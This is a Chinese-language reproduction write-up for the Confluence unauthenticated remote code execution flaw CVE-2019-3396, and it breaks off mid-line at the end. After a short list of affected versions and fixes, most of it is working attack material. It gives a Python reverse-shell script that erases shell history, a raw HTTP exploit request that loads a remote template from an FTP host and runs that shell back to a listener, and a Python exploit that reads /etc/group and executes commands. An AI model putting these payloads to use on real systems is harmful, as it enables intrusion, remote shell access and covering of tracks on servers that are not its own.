Confluence未授权RCE（CVE-2019-3396）漏洞复现

6.6.12版本之前所有版本
6.7.0-6.12.2版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本

1、升级Confluence版本
2、主动升级widgetconnector-3.1.3.jar 到 widgetconnector-3.1.4.jar

# -*- coding:utf-8 -*-
#!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
   print 'python reverse connector'
   print 'usage: %s <ip_addr> <port>' % name

def main():
   if len(sys.argv) !=3:
       usage(sys.argv[0])
       sys.exit()
   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   try:
       s.connect((sys.argv[1],int(sys.argv[2])))
       print 'connect ok'
   except:
       print 'connect faild'
       sys.exit()
   os.dup2(s.fileno(),0)
   os.dup2(s.fileno(),1)
   os.dup2(s.fileno(),2)
   global shell
   os.unsetenv("HISTFILE")
   os.unsetenv("HISTFILESIZE")
   os.unsetenv("HISTSIZE")
   os.unsetenv("HISTORY")
   os.unsetenv("HISTSAVE")
   os.unsetenv("HISTZONE")
   os.unsetenv("HISTLOG")
   os.unsetenv("HISTCMD")
   os.putenv("HISTFILE",'/dev/null')
   os.putenv("HISTSIZE",'0')
   os.putenv("HISTFILESIZE",'0')
   pty.spawn(shell)
   s.close()

if __name__ == '__main__':
   main()

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest Referer: http://localhost/
Content-Length: 232
X-Forwarded-For: 127.0.0.2 Connection: keep-alive {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://1.1.1.1/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}

# -*- coding: utf-8 -*-
import re
import sys
import requests
import ssl
try:
   _create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
   pass
else:
   ssl._create_default_https_context = _create_unverified_https_context

def _read(url):
   result = {}
   # filename = "../web.xml"
   filename = 'file:////etc/group'

   paylaod = url + "/rest/tinymce/1/macro/preview"
   headers = {
       "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
       "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
       "Content-Type": "application/json; charset=utf-8"
   }
   data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
   r = requests.post(paylaod, data=data, headers=headers)
   # print r.content
   if r.status_code == 200 and "wiki-content" in r.text:
       m = re.findall('.*wiki-content">n(.*)n            </div>n', r.text, re.S)

   return m[0]



def _exec(url,cmd):
   result = {}
   filename = "ftp://1.1.1.1/cmd.vm"

   paylaod = url + "/rest/tinymce/1/macro/preview"
   headers = {
       "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
       "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
       "Content-Type": "application/json; charset=utf-8"
   }
   data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"%s","cmd":"%s"}}}' % (filename,cmd)
   r = requests.post(paylaod, data=data, headers=headers)
   # print r.content
   if r.status_code == 200 and "wiki-content" in r.text:
       m = re.findall('.*wiki-content">n(.*)n            </div>n', r.text, re.S)

   return m[0]



if __name__ == '__main__':

   if len(sys.argv) != 3:
       print 'Usage: RCE_exp.py http